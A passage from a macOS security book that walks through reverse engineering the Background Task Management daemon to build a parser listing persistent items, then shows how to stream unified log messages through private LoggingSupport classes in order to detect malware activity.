enable us to write our own parser capable of enumerating all persistent 
items managed by the Background Task Management subsystem, including 
any malware.

Dissecting sfltool
While the focus of this book is not on reverse engineering, I’ll briefly dis-
cuss how to dissect sfltool so you can understand its interactions with other 
Background Task Management components and the ever-so-important .btm 
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file. In a terminal, let’s begin by streaming messages from the system log 
while running sfltool with the dumpbtm flag:

% log stream
...
backgroundtaskmanagementd: -[BTMService listener:shouldAcceptNewConnection:]:
connection=<NSXPCConnection: 0x152307aa0> connection from pid 52886 on mach service named
com.apple.backgroundtaskmanagement

backgroundtaskmanagementd dumpDatabaseWithAuthorization: error=Error
Domain=NSOSStatusErrorDomain Code=0 "noErr: Call succeeded with no error"

As you can see in the log output (which I’ve slightly modified for brevity), 
the Background Task Management daemon has received a message from 
a process with an ID of 52886 corresponding to the running instance of 
sfltool. You can see that the tool has made an XPC connection to the dae-
mon. If the connection succeeds, sfltool can then invoke remote methods 
found within the daemon. For example, from the log messages, you see that 
it invoked the daemon’s dumpDatabaseWithAuthorization: method to get the 
contents of the Background Task Management database.

In Listing 5-1, we try to implement this same approach. We leverage the 
private BackgroundTaskManagement framework, which implements necessary 
classes, such as BTMManager, and methods including the client-side dumpDatabase 
WithAuthorization:error:.

#import <dlfcn.h>
#import <Foundation/Foundation.h>
#import <SecurityFoundation/SFAuthorization.h>

#define BTM_DAEMON "/System/Library/PrivateFrameworks/\
BackgroundTaskManagement.framework/Resources/backgroundtaskmanagementd"

@interface BTMManager : NSObject
    +(id)shared;
    -(id)dumpDatabaseWithAuthorization:(SFAuthorization*)arg1 error:(id*)arg2;
@end

int main(int argc, const char* argv[]) {
    void* btmd = dlopen(BTM_DAEMON, RTLD_LAZY);

    Class BTMManager = NSClassFromString(@"BTMManager");
    id sharedInstance = [BTMManager shared];

    SFAuthorization* authorization = [SFAuthorization authorization];
    [authorization obtainWithRight:"system.privilege.admin"
    flags:kAuthorizationFlagExtendRights error:NULL];

    id dbContents = [sharedInstance dumpDatabaseWithAuthorization:authorization error:NULL];
    ...
}

Listing 5-1: Attempting to dump the Background Task Management database
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Unfortunately, this approach fails. As shown in the following log mes-
sages, the failure appears to be due to the fact that our binary (which, in this 
instance, has a process ID of 20987) doesn’t possess a private Apple entitle-
ment needed to connect to the Background Task Management daemon:

% log stream
...
backgroundtaskmanagementd: -[BTMService listener:shouldAcceptNewConnection:]:
process with pid=20987 lacks entitlement 'com.apple.private.backgroundtaskmanagement.manage'
or deprecated entitlement 'com.apple.private.coreservices.canmanagebackgroundtasks'

We can confirm that this is why we can’t connect to the daemon by 
reverse engineering the code in the daemon responsible for handling new 
XPC connections from clients:

/* @class BTMService */
-(BOOL)listener:(NSXPCListener*)listener
shouldAcceptNewConnection:(NSXPCConnection*)newConnection {
    ...
    x24 = [x0 valueForEntitlement:@"com.apple.private.coreservices.canmanagebackgroundtasks"];
    ...
    if(objc_opt_isKindOfClass(x24, objc_opt_class(@class(NSNumber))) == 0x0 ||
    [x24 boolValue] == 0x0) {
        // Reject the client that is attempting to connect.
    }

In this disassembly, you can see the check for the private entitlement 
com.apple.private.coreservices.canmanagebackgroundtasks, which matches the 
one we saw in the logs. If the client doesn’t hold it (or the newer com.apple 
.private.backgroundtaskmanagement.manage entitlement), the system will deny 
the connection.

Using the codesign utility, you can see that sfltool indeed contains the 
necessary entitlement:

% codesign -d --entitlements - /usr/bin/sfltool
Executable=/usr/bin/sfltool
[Dict]
    [Key] com.apple.private.coreservices.canmanagebackgroundtasks
    [Value]
        [Bool] true
    [Key] com.apple.private.sharedfilelist.export
    [Value]
        [Bool] true

Since we can’t obtain the private Apple entitlement needed to connect 
to the Background Task Management daemon for our own program, we’re 
left having to access and parse the database directly from disk.

When given full disk access, it’s easy to access the database’s contents. 
However, parsing its contents requires a bit more work, as it contains undoc-
umented serialized objects. Luckily, continued reverse engineering reveals 
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that once the daemon has read the contents of the database, its deserializa-
tion logic starts in a method named _decodeRootData:error:

-(void*)_decodeRootData:(NSData*)data error:(void**)arg3 {
    ...
    x0 = [NSKeyedUnarchiver alloc];
    x21 = [x0 initForReadingFromData:data error:&error];
    ...
    x0 = [x21 decodeObjectOfClass:objc_opt_class(@class(Storage)) forKey:@"store"];

When the Background Task Management daemon reads the contents of 
the database, it performs deserialization by following these standard steps:

 1. Reading the contents of the database into memory as an NSData object

 2. Initializing an NSKeyedUnarchiver object with this data

 3. Deserializing the objects in the unarchiver via a call to the NSKeyed 
Unarchiver decodeObjectOfClass:forKey: method

Take note of the serialized class name, Storage, and its key in the 
archiver, store, as these will come into play shortly. Also note that when the 
decodeObjectOfClass:forKey: method is invoked, the initWithCoder: method of 
any embedded object is also automatically invoked behind the scenes. This 
allows objects to perform their own deserialization.

Writing a Background Task Management Database Parser
We’re now ready to write our own parser. Let’s take what we’ve learned 
through reverse engineering and write a tool capable of deserializing the 
metadata of all persistent items found in the Background Task Management 
database. I’ll walk through the relevant code snippets here, but you can find 
the entire code for this parser, dubbed DumpBTM, in Objective-See’s GitHub 
repository at https://github.com/objective-see/DumpBTM. At the end of this 
discussion, I’ll show how you can make use of this library in your own code 
to programmatically obtain a list of items persisting on any macOS system.

Finding the Database Path
Let’s begin by writing some code that dynamically finds the path of the 
database. Although it’s located in the /private/var/db/com.apple.background 
taskmanagement/ directory, Apple occasionally bumps up the version num-
ber in the name across releases of macOS. Even with these name changes, 
though, finding the database is easy enough through its unique extension, 
.btm. The code in Listing 5-2 uses a simple predicate to find all .btm files in 
the com.apple.backgroundtaskmanagement directory. There should only be one, 
but to be safe, the code grabs the one with the highest version.

#define BTM_DIRECTORY @"/private/var/db/com.apple.backgroundtaskmanagement/"

NSURL* getPath(void) {

https://github.com/objective-see/DumpBTM


Persistence   131

  1 NSArray* files = [NSFileManager.defaultManager contentsOfDirectoryAtURL:
    [NSURL fileURLWithPath:BTM_DIRECTORY] includingPropertiesForKeys:nil options:0 error:nil];

  2 NSArray* btmFiles = [files filteredArrayUsingPredicate:[NSPredicate
    predicateWithFormat:@"self.absoluteString ENDSWITH '.btm'"]];

  3 return btmFiles.lastObject;
}

Listing 5-2: Finding the most recent Background Task Management database

First, the code creates a list of all files in the directory 1. Then, via the 
predicate self.absoluteString ENDSWITH '.btm' and the method filteredArray 
UsingPredicate:, it creates a second list containing solely .btm files 2. It then 
returns the last file in this list, which should be the one with the highest  
version 3.

Deserializing Background Task Management Files
I noted that the serialized objects in the Background Task Management file 
are instances of undocumented classes specific to the subsystem. To deseri-
alize them, we must, at a minimum, provide a class declaration. We found 
these classes embedded in the daemon, including the top-level object in the 
serialized database that belongs to an undocumented class named Storage. 
Recall that we also saw this class name in the plutil output.

This class contains various instance variables that describe its proper-
ties, including a dictionary called itemsByUserIdentifier. To deserialize the 
Storage object, we create the declaration shown in Listing 5-3.

@interface Storage : NSObject <NSSecureCoding>
    @property(nonatomic, retain)NSDictionary* itemsByUserIdentifier;
@end

Listing 5-3: The Storage class interface

Further reverse engineering reveals more details about the Storage 
class’s itemsByUserIdentifier dictionary. For example, it contains key-value 
pairs whose values are of another undocumented Background Task Man-
agement class named ItemRecord. The ItemRecord class contains metadata about 
each persistent item managed by the subsystem, such as its path, its code 
signing information, and its state (for example, enabled or disabled).

Again, as ItemRecord is an undocumented class, making use of it in 
our code requires providing a declaration extracted from the daemon. 
Listing 5-4 shows such a declaration.

@interface ItemRecord : NSObject <NSSecureCoding>
    @property NSInteger type;
    @property NSInteger generation;
    @property NSInteger disposition;
    @property(nonatomic, retain)NSURL* url;
    ...
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    @property(nonatomic, retain)NSString* identifier;
    @property(nonatomic, retain)NSString* developerName;
    @property(nonatomic, retain)NSString* executablePath;
    @property(nonatomic, retain)NSString* teamIdentifier;
    @property(nonatomic, retain)NSString* bundleIdentifier;
@end

Listing 5-4: The ItemRecord class interface

With the relevant classes declared, we’re almost ready to trigger the seri-
alization of all objects in the Background Task Management file. However, as  
the deserialization process invokes each object’s initWithCoder: method, and 
each object conforms to the NSSecureCoding protocol, we should provide an 
implementation of this method to keep the linker happy and ensure that 
deserialization succeeds. To reimplement the initWithCoder: methods for the 
undocumented objects, we can use a disassembler to find their implemen-
tations. For example, here is the decompilation of the ItemRecord object’s 
 initWithCoder: method:

-(void*)initWithCoder:(NSCoder*)decoder {
  x0 = objc_opt_class(@class(NSUUID));
  x0 = [decoder decodeObjectOfClass:x0 forKey:@"uuid"];
  self.uuid = x0;

  x0 = objc_opt_class(@class(NSString));
  x0 = [decoder decodeObjectOfClass:x0 forKey:@"executablePath"];
  self.executablePath = x0;

  x0 = objc_opt_class(@class(NSString));
  x0 = [decoder decodeObjectOfClass: x0 forKey:@"teamIdentifier"];
  self.teamIdentifier = x0;
  ...
}

We can easily mimic the method in our own code (Listing 5-5).

-(id)initWithCoder:(NSCoder *)decoder {
    self = [super init];
    if(nil != self) {
        self.uuid = [decoder decodeObjectOfClass:[NSUUID class] forKey:@"uuid"];

        self.executablePath =
        [decoder decodeObjectOfClass:[NSString class] forKey:@"executablePath"];

        self.teamIdentifier =
        [decoder decodeObjectOfClass:[NSString class] forKey:@"teamIdentifier"];
        ...
    return self;
}

Listing 5-5: A reimplementation of the ItemRecord initWithCoder: method
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In our reimplementation of the ItemRecord object’s initWithCoder: method, 
we deserialize the properties of the object, including its UUID, executable 
path, team identifier, and more. This is as easy as invoking the decode Object 
Of Class:forKey: method for each property on the serialized object that is 
passed in as an NSCoder.

However, there is a simpler way to access these methods. As you saw 
in the disassembly, the Background Task Management daemon contains 
class implementations of serialized Storage and ItemRecord objects, including 
their initWithCoder: methods. Thus, if we load and link the daemon binary 
into our process’s address space, we’ll have access to those methods without 
needing to reimplement them ourselves. As all executables are now compiled 
in a position-independent manner, we can link to anything we’d like in our 
own program, including the daemon. Listing 5-6 contains the code to load 
and link the daemon, then makes use of its objects when triggering the full 
deserialization of the objects stored in the database.

#define BTM_DAEMON "/System/Library/PrivateFrameworks/\
BackgroundTaskManagement.framework/Resources/backgroundtaskmanagementd"

1 void* btmd = dlopen(BTM_DAEMON, RTLD_LAZY);

2 NSURL* path = getPath();
3 NSData* data = [NSData dataWithContentsOfURL:path options:0 error:NULL];

4 NSKeyedUnarchiver* keyedUnarchiver =
[[NSKeyedUnarchiver alloc] initForReadingFromData:data error:NULL];

5 Storage* storage = [keyedUnarchiver decodeObjectOfClass:
[NSClassFromString(@"Storage") class] forKey:@"store"];

Listing 5-6: Deserializing Background Task Management objects

After invoking the dlopen function 1, which loads and links the 
Background Task Management daemon into a process’s memory space, the 
code invokes a helper function we’ve written to get the path of the system’s 
Background Task Management database file 2. Once it has found and 
loaded the contents of the database into memory 3, the code initializes a 
keyed unarchiver object with the database data 4.

Now the code is ready to trigger the deserialization of the objects in the 
database via the keyed archiver’s decodeObjectOfClass:forKey: method. Previously, 
I noted that the class of the database’s top-level object is named Storage. As 
it’s undocumented, we dynamically resolve it via NSClassFromString(@"Storage"). 
This resolution succeeds because we’ve loaded the daemon that imple-
ments this class into our process space. For the key required to begin the 
deserialization, we mimic the daemon by specifying the string "store" 5.

Behind the scenes, this code will trigger an invocation of the Storage 
class’s initWithCoder: method, giving it a chance to deserialize the top-level 
Storage object in the database. Recall that this object includes a dictionary 
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containing an ItemRecord object describing each persisted item. An invoca-
tion to the ItemRecord class’s initWithCoder: method will automatically deseri-
alize these embedded objects.

Accessing Metadata
Once we’ve completed the deserialization, we can access the metadata 
about each item persisted on the system and managed by Background Task 
Management (Listing 5-7).

int itemNumber = 0;

1 for(NSString* key in storage.itemsByUserIdentifier) {
  2 NSArray* items = storage.itemsByUserIdentifier[key];
    for(ItemRecord* item in items) {
        printf(" #%d\n", ++itemNumber);
      3 printf(" %s\n", [[item performSelector:NSSelectorFromString
        (@"dumpVerboseDescription")] UTF8String]);
    }
}

Listing 5-7: Printing deserialized items

Accessing the metadata is as simple as iterating over the deserialized 
Storage object’s itemsByUserIdentifier dictionary 1, which organizes the persis-
tent items by user UUID 2. For all ItemRecord objects, we can invoke the class’s 
dumpVerboseDescription method 3 to print out each object in a nicely format-
ted manner. Because we didn’t declare this method in the class interface, we 
instead use the Objective-C performSelector: method to invoke it by name.

Compiling and running the code produces output that provides the 
same information as Apple’s closed source sfltool:

% ./dumpBTM
Opened /private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-vx.btm
...
#1
                 UUID: 8C271A5F-928F-456C-B177-8D9162293BA7
                 Name: softwareupdate
       Developer Name: (null)
                 Type: legacy daemon (0x10010)
          Disposition: [enabled, allowed, visible, notified] (11)
           Identifier: com.apple.softwareupdate
                  URL: file:///Library/LaunchDaemons/com.apple.softwareupdate.plist
      Executable Path: /Users/User/.local/softwareupdate
           Generation: 1
    Parent Identifier: Unknown Developer

#2
                 UUID: 9B6C3670-2946-4F0F-B58C-5D163BE627C0
                 Name: ChmodBPF
       Developer Name: Wireshark
      Team Identifier: 7Z6EMTD2C6
                 Type: curated legacy daemon (0x90010)
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          Disposition: [enabled, allowed, visible, notified] (11)
           Identifier: org.wireshark.ChmodBPF
                  URL: file:///Library/LaunchDaemons/org.wireshark.ChmodBPF.plist
      Executable Path: /Library/Application Support/Wireshark/ChmodBPF/ChmodBPF
           Generation: 1
    Assoc. Bundle IDs: [org.wireshark.Wireshark ]
    Parent Identifier: Wireshark

Because most macOS malware persists, this ability to programmatically 
enumerate persistently installed items is incredibly important. However, 
these enumerations will also include legitimate items, such as Wireshark’s 
ChmodBPF demon, as shown here.

Identifying Malicious Items
Of course, when attempting to programmatically detect malware, just 
printing out the persistent items isn’t all that helpful. As you just saw, the 
Background Task Management database includes metadata about persis-
tently installed items that are benign, so the code must closely examine 
each. For example, the first item shown in the tool’s output is likely suspi-
cious; its name suggests that it’s a core Apple component, but it’s running 
from a hidden directory and is unsigned. (Spoiler alert: it’s DazzleSpy.) On 
the other hand, the second item’s code signing information, including its 
developer name and team ID, identifies it as a legitimate component of the 
network monitoring and analysis tool Wireshark.

To programmatically extract information from each item, you can 
directly access relevant properties of the ItemRecord object. For example, 
Listing 5-8 updates the code we wrote in Listing 5-7 to access the path to 
each item’s property list, its name, and its executable path.

for(NSString* key in storage.itemsByUserIdentifier) {
    NSArray* items = storage.itemsByUserIdentifier[key];

    for(ItemRecord* item in items) {
        NSURL* url = item.url;
        NSString* name = item.name;
        NSString* path = item.executablePath;
        ...
    }
}

Listing 5-8: Accessing ItemRecord properties

I’ve excerpted the code presented here from the DumpBTM project, a 
complete Background Task Management parser. Compiled into a library 
for easy linking into other projects, DumpBTM also allows us to extract the 
metadata of each persistent item into a dictionary to cleanly abstract away 
the internals of the undocumented Background Task Management objects 
(Listing 5-9). Other code can then ingest this dictionary, for example, to 
examine each item for anomalies or apply heuristics to classify them as 
benign or potentially malicious.
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#define KEY_BTM_ITEM_URL @"url"
#define KEY_BTM_ITEM_UUID @"uuid"
#define KEY_BTM_ITEM_NAME @"name"
#define KEY_BTM_ITEM_EXE_PATH @"executablePath"

NSDictionary* toDictionary(ItemRecord* item) {
    NSMutableDictionary* dictionary = [NSMutableDictionary dictionary];

    dictionary[KEY_BTM_ITEM_UUID] = item.uuid;
    dictionary[KEY_BTM_ITEM_URL] = item.url;
    dictionary[KEY_BTM_ITEM_NAME] = item.name;
    dictionary[KEY_BTM_ITEM_EXE_PATH] = item.executablePath;
    ...
    return dictionary;
}

Listing 5-9: Extracting properties into a dictionary

To extract an ItemRecord object’s properties, we simply create a diction-
ary and add each property to it with a key of our choosing.

In the DumpBTM library, an exported function named parseBTM invokes 
the toDictionary function shown here. I’ll end this chapter by showing how 
your code could make use of the library by invoking parseBTM to obtain a 
dictionary containing metadata of all the persistent items stored in the 
Background Task Management database.

Using DumpBTM in Your Own Code
When you compile DumpBTM, you’ll find two files in its library/lib direc-
tory: the library’s header file (dumpBTM.h) and the compiled library 
libDumpBTM.a. Add both files to your project. Include the header file in 
your source code using either an #include or an #import directive, as this file 
contains the library’s exported function definitions and constants. If you 
link in the compiled library at compile time, your code should be able to 
invoke the library’s exported functions (Listing 5-10).

1 #import "dumpBTM.h"
...

2 NSDictionary* contents = parseBTM(nil);

3 for(NSString* uuid in contents[KEY_BTM_ITEMS_BY_USER_ID]) {
    for(NSDictionary* item in contents[KEY_BTM_ITEMS_BY_USER_ID][uuid]) {
        // Add code to process each persistent item.
    }
}

Listing 5-10: Enumerating persistent items

After importing the library’s header file 1, we invoke its exported 
parseBTM function 2. This function returns a dictionary containing all 



Persistence   137

persistent items managed by the Background Task Management subsystem 
and stored in its database, keyed by unique user identifiers. You can see that 
the code iterates over each user identifier, then over each persistent item 3.

Conclusion
The ability to identify persistently installed items is crucial to detecting 
malware. In this chapter, you learned how to programmatically interact with 
macOS’s Background Task Management database, which contains the meta-
data of all persistent launch and login items. Though this process required 
a brief foray into the internals of the Background Task Management subsys-
tem, we were able to build a complete parser capable of fully deserializing all 
objects in the database, providing us with a list of persistently installed items.5

Note, however, that some malware leverages more creative persistence 
mechanisms that the Background Task Management subsystem doesn’t track, 
and we won’t find this malware in the subsystem’s database. Not to worry; in 
Chapter 10, we’ll dive into KnockKnock, a tool that uses approaches beyond 
Background Task Management to comprehensively uncover persistent mal-
ware found anywhere on the operating system.

This chapter wraps up Part I and the discussion of data collection. You’re 
now ready to explore the world of real-time monitoring, which can build the 
foundations of a proactive detection approach.
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PART II
S Y S T E M  M O N I T O R I N G

So far, I’ve covered programmatic methods of collecting 
data to generate snapshots of the system’s state, then 
analyzed these snapshots to uncover symptoms of mali-
cious activity. This approach limits the analysis to single 
points in time, however. Simple antivirus programs 
often provide such a feature in a “scan now” option, 
which can be useful for determining whether the system 
has already been infected and for creating a baseline 
of a known good state. The obvious downside to this 
approach is that it’s reactive and, worse, could miss an 
infection altogether. For example, ransomware could 
infect a system and render it inoperable in the window 
of time between snapshots.

The solution is to expand upon the methods presented in Part I to pro-
vide real-time monitoring capabilities. In Part II, I’ll explain how to moni-
tor the system log, as well as network, filesystem, and process events, in real 
time. In some cases, we’ll have to write code specific to the target of our 
monitoring; in other cases, Apple’s Endpoint Security framework can serve 
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as the basis for a wide range of monitors capable of overseeing filesystem, 
process, and many other noteworthy events. To fully understand Endpoint 
Security’s capabilities, I’ll spend an entire chapter highlighting its advanced 
features, including authorization and muting. The most comprehensive 
malware detection solutions will include the approaches presented in Part I 
as well as the techniques I’ll cover in Part II.

Also, the monitoring code can apply strategies covered in Part I for 
identifying anomalies. For example, the logic we wrote in Chapter 2 to 
detect that a running process’s binary is packed can identify suspicious 
binaries in real time, such as when a process monitor intercepts a newly 
spawned process.



If you’ve spent time poking around macOS, 
you may have encountered the system’s uni-

fied logging mechanism, a resource that can 
help you understand macOS internals and, as 

you’ll soon see, uncover malware. In this chapter, I’ll 
start by highlighting the various kinds of information 
that can be extracted from these logs to detect mali-
cious activity. We’ll then reverse engineer the macOS  
log utility and one of its core private frameworks so we 
can programmatically ingest real-time information 
directly and efficiently from the logging subsystem.

6
L O G  M O N I T O R I N G
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Exploring Log Information
I’ll begin by covering a few examples of useful activity that can show up in 
the system log, starting with webcam access. Especially insidious malware 
specimens, including FruitFly, Mokes, and Crisis, surreptitiously spy on their 
victims through the infected host’s webcam. Accessing the webcam generates 
system log messages, however. For example, depending on the version of 
macOS, the Core Media I/O subsystem may produce the following:

CMIOExtensionProvider.m:2671:-[CMIOExtensionProvider setDevicePropertyValuesForClientID:
deviceID:propertyValues:reply:] <CMIOExtensionProvider>,
3F4ADF48-8358-4A2E-896B-96848FDB6DD5, propertyValues {
    CMIOExtensionPropertyDeviceControlPID = 90429;
}

The bolded value contains the ID of the process accessing the webcam. 
Although the process could be legitimate, such as a Zoom or FaceTime ses-
sion launched by the user for a virtual meeting, it’s prudent to confirm that 
this is the case, as the responsible process could also be malware attempting 
to spy on the user. Because Apple doesn’t provide an API that identifies the 
process accessing the webcam, log messages are one of the only ways to reli-
ably get this information most of the time.

Other activities that often show up in system logs are remote logins, 
which could indicate a compromise, such as attackers gaining initial access 
to a host or even returning to a previously infected one. For example, the 
IPStorm malware spreads to victims by brute-forcing SSH logins.1 Another 
interesting case is XCSSET, which locally initiates a seemingly remote con-
nection back to the host to bypass the macOS security mechanism known 
as Transparency, Consent, and Control (TCC).2

When a remote login occurs via SSH, the system generates log messages 
such as the following:

sshd: Accepted keyboard-interactive/pam for Patrick from 192.168.1.176 port 59363 ssh2
sshd: (libpam.2.dylib) in pam_sm_setcred(): Establishing credentials
sshd: (libpam.2.dylib) in pam_sm_setcred(): Got user: Patrick
...
sshd: (libpam.2.dylib) in pam_sm_open_session(): UID: 501
sshd: (libpam.2.dylib) in pam_sm_open_session(): server_URL: (null)
sshd: (libpam.2.dylib) in pam_sm_open_session(): path: (null)
sshd: (libpam.2.dylib) in pam_sm_open_session(): homedir: /Users/Patrick
sshd: (libpam.2.dylib) in pam_sm_open_session(): username: Patrick

These log messages provide the source IP address of the connection, as 
well as the identity of the user who logged in. This information can help 
defenders determine whether the SSH session is legitimate (perhaps a 
remote worker connecting to their office machine) or unauthorized.

Log messages can also provide insight into the TCC mechanism, which 
governs access to sensitive information and hardware features. In an 
Objective by the Sea conference talk, “The Clock Is TCCing,” researchers 
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Calum Hall and Luke Roberts noted that messages found in the unified  
log enabled them to determine several pieces of information for a given 
TCC event (for example, malware attempting to capture the screen or 
access a user’s documents), including the resource for which the process 
requested access, the responsible and target processes, and whether the sys-
tem denied or approved the request and why.3

At this point, it may be tempting to treat log messages as a panacea for 
malware detection. Don’t. Apple doesn’t officially support log messages 
and has often changed their contents or removed them altogether, even 
between minor releases of macOS. For example, on older versions of the 
operating system, you could detect microphone access and identify the pro-
cess responsible for it by looking for the following log message:

send: 0/7 synchronous to com.apple.tccd.system: request: msgID=408.11,
function=TCCAccessRequest, service=kTCCServiceMicrophone, target_token={pid:23207, auid:501,
euid:501},

Unfortunately, Apple updated the relevant macOS framework so it 
no longer produces the message. If your security tool relied solely on this 
indicator to detect unauthorized microphone access, it would no longer 
function. Thus, it’s best to treat log messages as initial signs of suspicious 
behavior, then investigate further.

The Unified Logging Subsystem
We often think of log messages as a way to figure out what happened in 
the past. But macOS also lets you subscribe to the stream of messages as 
they’re delivered to the logging subsystem in essentially real time. Better 
yet, the logging subsystem supports the filtering of these messages via cus-
tom predicates, providing efficient and unparalleled insight into the activity 
happening on the system.

In versions of macOS beginning with 10.12, this logging mechanism 
is called the unified logging system.4 A replacement of the traditional syslog 
interface, it records messages from core system daemons, operating system 
components, and any third-party software that generates logging messages 
via the OSLog APIs.

It’s worth noting that if you examine log messages in the unified sys-
tem log, you may encounter redactions; the logging subsystem replaces any 
information deemed sensitive with the string <private>. To disable this func-
tionality, you could install a configuration profile.5 While useful for under-
standing undocumented features of the operating system, however, you 
shouldn’t disable log redactions on end-user or production systems, which 
would make sensitive data available to anybody with access to the log.
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Manually Querying the log Utility
To manually interface with the logging subsystem, use the macOS log utility 
found in /usr/bin:

% /usr/bin/log
usage:
    log <command>

global options:
    -?, --help
    -q, --quiet
    -v, --verbose

commands:
    collect         gather system logs into a log archive
    config          view/change logging system settings
    erase           delete system logging data
    show            view/search system logs
    stream          watch live system logs
    stats           show system logging statistics

further help:
    log help <command>
    log help predicates

You can search previously logged data with the show flag or use the 
stream flag to view logging data as it’s generated in real time. Unless you 
specify otherwise, the output will include messages with a default log level 
only. To override this setting for past data, use the --info or --debug flag, 
along with show, to view further information and debug messages, respec-
tively. For streaming data, specify both stream and --level, then either info 
or debug. These flags are hierarchical; specifying the debug level will return 
informational and default messages too.

Use the --predicate flag with a predicate to filter the output. A rather 
extensive list of valid predicate fields allows you to find messages based on 
the process, subsystem, type, and much more. For example, to stream log 
messages from the kernel, execute the following:

% log stream --predicate 'process == "kernel"'

There is often more than one way to craft a predicate. For instance, we 
could also receive kernel messages by using 'processIdentifier == 0', as the 
kernel always has a process ID of 0.

To stream messages from the security subsystem, enter the following:

% log stream --predicate 'subsystem == "com.apple.securityd"'

The examples shown here all use the equality operator (==). However, 
predicates can use many other operators, including comparative operators 
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(such as ==, !=, and <), logical operators (such as AND and OR), and even mem-
bership operators (such as BEGINSWITH and CONTAINS). Membership operators 
are powerful, as they allow you to craft filter predicates resembling regular 
expressions.

The log man pages and the command log help predicates provide a suc-
cinct overview of predicates.6

Reverse Engineering log APIs
To read log data programmatically, we could use the OSLog APIs.7 These 
APIs return only historical data, however, and in the context of malware 
detection, we’re much more interested in real-time events. No public API 
allows us to achieve this, but by reverse engineering the log utility (specifi-
cally, the code that backs the stream command), we can uncover exactly 
how to ingest logging messages as they enter the unified logging subsystem. 
Moreover, by providing a filter predicate, we can receive only messages of 
interest to us.

Although I won’t cover the full details of reversing the log utility, I’ll pro-
vide an overview of the process in this section. Of course, you could apply a 
similar process against other Apple utilities and frameworks to extract private 
APIs useful for malware detection (as we showed in Chapter 3 while imple-
menting package code signing checks).

First, we need to find the binary that implements the logging subsys-
tem’s APIs so we can invoke them from our own code. Normally, we’ll find 
such APIs in a framework that is dynamically linked into the utility’s binary. 
By executing otool with the -L command line option, we can view the frame-
works against which the log utility is dynamically linked:

% otool -L /usr/bin/log
/System/Library/PrivateFrameworks/ktrace.framework/Versions/A/ktrace
/System/Library/PrivateFrameworks/LoggingSupport.framework/Versions/A/LoggingSupport
/System/Library/PrivateFrameworks/CoreSymbolication.framework/Versions/A/CoreSymbolication
...

Based on its name, the LoggingSupport framework seems likely to con-
tain relevant logging APIs. In past versions of macOS, you could find the 
framework in the /System/Library/PrivateFrameworks/ directory, while in 
newer versions, you’ll find it in the shared dyld cache.

After loading the framework into Hopper (which can directly load 
frameworks from the dyld cache), we find that the framework implements 
an undocumented class named OSLogEventLiveStream whose base class is 
OSLogEventStreamBase. These classes implement methods such as activate, 
setEventHandler:, and setFilterPredicate:. We also encounter an undocu-
mented OSLogEventProxy class that appears to represent log events. Here are 
some of its properties:

NSString* process;
int processIdentifier;
NSString* processImagePath;
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NSString* sender;
NSString* senderImagePath;
NSString* category;
NSString* subsystem;
NSDate* date;
NSString* composedMessage;

By examining the log utility, we can see how it uses these classes and 
their methods to capture streaming log data. For example, here is a decom-
piled snippet from the log binary:

r21 = [OSLogEventLiveStream initWithLiveSource:...];
[r21 setEventHandler:&var_110];
...
[r21 setFilterPredicate:r22];

printf("Filtering the log data using \"%s\"\n", @selector(UTF8String));
...
[r21 activate];

In the decompilation, we first see a call to initWithLiveSource: initializ-
ing an OSLogEventLiveStream object. Calls to methods such as setEventHandler: 
and setFilterPredicate: then configure this object, stored in the r21 register. 
After the predicate is set, a helpful debug message indicates that a provided 
predicate can filter log data. Finally, the object activates, which triggers the 
ingestion of streaming log messages matching the specified predicate.

Streaming Log Data
Using the information we gleaned by reverse engineering the log binary 
and LoggingSupport framework, we can craft code to directly stream data 
from the universal logging subsystem in our detection tools. Here, we’ll 
cover important parts of the code, though you’re encouraged to consult the 
full code, found in this chapter’s logStream project.

Listing 6-1 shows a method that accepts a log filter predicate, a log level 
(such as default, info, or debug), and a callback function to invoke for each 
logging event that matches the specified predicate.

#define LOGGING_SUPPORT @"/System/Library/PrivateFrameworks/LoggingSupport.framework"

-(void)start:(NSPredicate*)predicate
level:(NSUInteger)level eventHandler:(void(^)(OSLogEventProxy*))eventHandler {
    [[NSBundle bundleWithPath:LOGGING_SUPPORT] load]; 1
    Class LiveStream = NSClassFromString(@"OSLogEventLiveStream"); 2

    self.liveStream = [[LiveStream alloc] init]; 3

    @try {
        [self.liveStream setFilterPredicate:predicate]; 4
    } @catch (NSException* exception) {
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        // Code to handle invalid predicate removed for brevity
    }
    [self.liveStream setInvalidationHandler:^void (int reason, id streamPosition) {
        ;
    }];

    [self.liveStream setDroppedEventHandler:^void (id droppedMessage) {
        ;
    }];

    [self.liveStream setEventHandler:eventHandler]; 5
    [self.liveStream setFlags:level]; 6

    [self.liveStream activate]; 7
}

Listing 6-1: Starting a logging stream with a specified predicate

Note that I’ve omitted part of this code, such as the class definition and 
properties of the custom log class.

After loading the logging support framework 1, the code retrieves 
the private OSLogEventLiveStream class by name 2. Now we can instantiate 
an instance of the class 3. We then configure this instance by setting the 
filter predicate 4, making sure to wrap it in a try...catch block, as the set 
Filter Predicate: method can throw an exception if provided with an invalid 
predicate. Next, we set the event handler, which the framework will invoke 
anytime the universal logging subsystem ingests a log message matching the 
specified predicate 5. We pass these values into the start:level:eventHandler: 
method, where the predicate tells the log stream how to filter the messages 
it delivers to the event handler. We set the logging level via the setFlags: 
method 6. Finally, we start the stream with a call to the activate method 7.

Listing 6-2 shows how to create an instance of the custom log monitor 
class and then use it to begin ingesting log messages.

NSPredicate* predicate = [NSPredicate predicateWithFormat:<some string predicate>]; 1

LogMonitor* logMonitor = [[LogMonitor alloc] init]; 2

[logMonitor start:predicate level:Log_Level_Debug eventHandler:^(OSLogEventProxy* event) {
    printf("New Log Message: %s\n\n", event.description.UTF8String);
}];

[NSRunLoop.mainRunLoop run];

Listing 6-2: Interfacing with the custom log stream class

First, the code creates a predicate object from a string 1. Note that in 
production code, you should also wrap this action in a try...catch block, 
as the predicateWithFormat: method throws a catchable exception if the pro-
vided predicate is invalid. Next, we create a LogMonitor object and invoke 
its start:level:eventHandler: method 2. Note that for the level, we pass in 
Log_Level_Debug. Since the level is hierarchal, this will ensure we capture all 
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message types, including those whose type is info and default. Now the code 
will invoke our event handler anytime a log message matching the specified 
predicate streams to the universal logging subsystem. Currently, this han-
dler simply prints out the OSLogEventProxy object.

To compile this code, we’ll need the undocumented class and method 
definitions we extracted from the LoggingSupport framework. These defini-
tions live in the logStream project’s LogStream.h file; Listing 6-3 provides a 
snippet of them.

@interface OSLogEventLiveStream : NSObject
    -(void)activate;
    -(void)setFilterPredicate:(NSPredicate*)predicate;
    -(void)setEventHandler:(void(^)(id))callback;
    ...
    @property(nonatomic) unsigned long long flags;
@end

